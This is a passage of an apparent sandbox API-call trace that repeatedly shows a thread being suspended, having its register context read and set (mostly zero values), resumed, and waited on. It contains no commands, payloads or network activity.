FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0112.519] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a70, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0112.589] ResumeThread (hThread=0x130) returned 0x1
[0112.589] CloseHandle (hObject=0x130) returned 1
[0112.589] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0112.624] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0112.657] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0112.746] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0112.820] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0112.820] SuspendThread (hThread=0x130) returned 0x0
[0112.820] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147380, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15dc600, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0112.957] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147378, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0113.025] ResumeThread (hThread=0x130) returned 0x1
[0113.025] CloseHandle (hObject=0x130) returned 1
[0113.025] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0113.059] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0113.093] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0113.262] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0113.343] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0113.343] SuspendThread (hThread=0x130) returned 0x0
[0113.343] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10207, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146c48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15ccc40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
